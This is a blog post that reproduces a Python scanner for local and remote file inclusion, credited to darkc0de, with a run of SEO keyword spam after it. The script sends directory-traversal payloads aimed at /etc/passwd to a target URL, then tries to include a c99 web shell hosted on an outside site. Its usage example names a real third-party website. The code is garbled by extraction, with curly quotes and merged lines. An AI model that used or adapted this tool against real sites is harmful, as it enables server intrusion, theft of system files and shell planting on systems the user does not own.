This python script is written by baltazar from darkc0de. The purpose of this script is to perform scanning against Local and Remote file inclusion which attempts to make use of a c99 shell on a vulnerable host. This script is a kind of fast LFI and RFI scanner.
Code :
#!/usr/bin/python
# This was written for educational purpose only. Use it at your own risk.
# Author will be not responsible for any damage!
# !!! Special greetz for my friend sinner_01 !!!
# !!! Special thanx for d3hydr8 and rsauron who inspired me !!!
#
# In version 2 added proxy support
#
################################################################
# .___ __ _______ .___ #
# __| _/____ _______| | __ ____ _ __| _/____ #
# / __ |__ \_ __ |/ // ___/ /_ / __ |/ __ #
# / /_/ | / __ | | / < ___ _/ / /_/ ___/ #
# ____ |(______/__| |__|_ \_____>_____ /_____|____ #
# / / / #
# ___________ ______ _ __ #
# _/ ____ __ _/ __ / / / #
# ___| | / ___/ / #
# ___ >__| ___ >/_/ #
# est.2007 / / forum.darkc0de.com #
################################################################
# — d3hydr8 – rsauron – P47r1ck – r45c4l – C1c4Tr1Z – bennu #
# — QKrun1x – skillfaker – Croathack – Optyx – Nuclear #
# — Eliminator and to all members of darkc0de and ljuska.org# #
################################################################import sys, os, time, re, urllib2, socket, httplib
if sys.platform == ‘linux’ or sys.platform == ‘linux2′:
clearing = ‘clear’
else:
clearing = ‘cls’
os.system(clearing)proxy = “None”
count = 0if len(sys.argv) < 2 or len(sys.argv) > 4:
print “n|—————————————————————|”
print “| b4ltazar[@]gmail[dot]com |”
print “| 01/2009 LFI & RFI scanner v2.0 |”
print “| Help: lfi-rfi.py -h |”
print “| Visit www.darkc0de.com and www.ljuska.org |”
print “|—————————————————————|n”
sys.exit(1)for arg in sys.argv:
if arg == ‘-h’ or arg == ‘–help’ or arg == ‘-help’:
print “n|——————————————————————————-|”
print “| b4ltazar[@]gmail[dot]com |”
print “| 01/2009 LFI & RFI scanner v2.0 |”
print “| Usage: lfi-rfi.py www.site.com |”
print “| Example: lfi-rfi.py http://toscana.adiconsum.it/index.php?pagina= |”
print “| Proxy: lfi-rfi.py http://toscana.adiconsum.it/index.php?pagina= -p PROXY |”
print “| Visit www.darkc0de.com and www.ljuska.org |”
print “|——————————————————————————-|n”
sys.exit(1)
elif arg == ‘-p’:
proxy = sys.argv[count+1]
count += 1lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]
site = sys.argv[1]
shell = ‘http://www.defcont4.hypersite.com.br/shell/c99.txt?’
if site[:4] != “http”:
site = “http://”+site
if site[-1] != “=”:
site = site + “=”print “n|—————————————————————|”
print “| b4ltazar[@]gmail[dot]com |”
print “| 01/2009 LFI & RFI scanner v2.0 |”
print “| Visit www.darkc0de.com and www.ljuska.org |”
print “|—————————————————————|n”
print “n[-] %s” % time.strftime(“%X”)
print “-”*80
print “tttChecking for LFI”
print “-”*80
print “n[+] Target:”,site
print “[+]“,len(lfis),”LFI loaded…”
print “[+] Starting Scan…n”try:
if proxy != “None”:
print “n[+] Testing Proxy…”
pr = httplib.HTTPConnection(proxy)
pr.connect()
print “[+] Proxy:”,proxy
print “[+] Building Handler”
proxy_handler = urllib2.ProxyHandler({‘http’: ‘http://’+proxy+’/'})
else:
print “n[-] Proxy not given”
proxy_handler = “”
except(socket.timeout):
print “n[-] Proxy Timed Out”
sys.exit(1)
except(),msg:
print msg
print “n[-] Proxy Failed”
sys.exit(1)for lfi in lfis:
print “[+] Checking:” ,site+lfi.replace(“n”,”")
proxyfier = urllib2.build_opener(proxy_handler)
try:
check = proxyfier.open(site+lfi.replace(“n”, “”)).read()
if re.findall(“root:x:”, check):
print “[!] w00t!,w00t!: “,lfi
else:
print “[-] Not Found: “,lfi
except(urllib2.HTTPError):
pass
except(KeyboardInterrupt, SystemExit):
raise
print “-”*80
print “tttChecking for RFI”
print “-”*80
print “n[+] Target:”,site
print “[+] Starting Scan…n”try:
check = proxyfier.open(site+’http://www.defcont4.hypersite.com.br/shell/c99.txt?’).read()
if re.findall(“c99shell”, check):
print “[!] w00t!,w00t!: “,site+shell
else:
print “[-] Not Found: “,site+shell
except(urllib2.HTTPError):
pass
except(KeyboardInterrupt, SystemExit):
pass
print “n[-] %s” % time.strftime(“%X”)
Download LFI – RFI scanner : http://packetstormsecurity.org/UNIX/scanners/lfi-rfi2.txt
Related articles :
Recenly searchIncoming search terms for the article:
c99shell tutorial, lfi shell, tutorial c99shell, dmg x7 download hack, powered by Captain Crunch Security Team, local file inclusion scanner, rfi with c99, rfi python, rfi c99, remote include etc/passwd, remote file inclusion tutorial c99, remote file inclusion c99, usage of c99 shell, rfi-scan-v2, Tutorials Building shell c99, tutorialremote file inclusion shell example, tuto c99shel, turitorial scan lfi, shell script version c99, Shell LFI, script for checking remote file inclusion, scansione shell c99, scan for remote file includes, remote file include scan, rapidleech LFI, Python LFI & RFI scanner, c99 scripts dorks, c99 shell for RFI, c99 shell scanner, c99 shell tutorial, c99 txt how to use, c99shell rapidleech, C99shell rfi scanner, c99shell v 1 0 (roots), Captain Crunch Security Team inurl:c99, d3hydr8[at]gmail[dot]com LFIscanner v1 0, damage skill x7, How to scan for Remote file inclusion, how to scan rfi using c99 shell, how to use lfi shell, lfi get c99, LFI RFI C99, python c99 shell, c99 empire,Popular Today naruto shippuden 170 videolog, cat physics walkthrough, naruto shippuden 168 videolog, facebook spy, backtrack 3, shy engine, vtunnel, BackTrack tutorial, backtrack 3 tutorial, facebook photo viewer, See The Shocking Hidden Message In The Google Logo that GOOGLE Does NOT Want You To Know About!, how to view private myspace pictures, my empire hack, view private myspace pictures, SHOCKING: RUDE HIDDEN MESSAGE in Toy Story 3!, facebook keylogger, HIDDEN MESSAGE IN GOOGLE LOGO, Terri Moulton Horman, rapidleech, brute force facebook, Computer Security Stuff on eBay!
Electronics stuffs on ebay
Local – Remote file inclusion scanner (make use of a c99 shell) is posted on January 11th, 2009 by admin. This post is filed under: Sectools, Security, "captain crunch security team" inurl:c99, c99 shell scanner, c99 shell tutorial, c99 shell viewer, c99.txt how to use, c99shell rapidleech, c99shell rfi scanner, c99shell tutorial, c99shell v.1.0 (roots), Communication, d3hydr8[at]gmail[dot]com lfiscanner v1.0, damage hack skill x7, damage skill x7, dmg x7 download hack, fimap dorks, Free, HTTP, HTTP 404, Hypertext Transfer Protocol, inurl:/c99.php uname, inurl:c99.php powered by captain crunch security team, lfi command script python, lfi get c99, lfi rfi c99, powered by captain crunch security team, rapidleech lfi, remote file inclusion tutorial c99, remote include etc/passwd, rfi, rfi c99, rfi pitbull, rfi python, rfi with c99, Scan, scan for remote file includes, scansione shell c99, script for checking remote file inclusion, Server, skill damage x7, TinyURL, turitorial scan lfi, tuto c99shel, tutorial c99shell, tutorialremote file inclusion shell example, usage of c99 shell .
Leave a Reply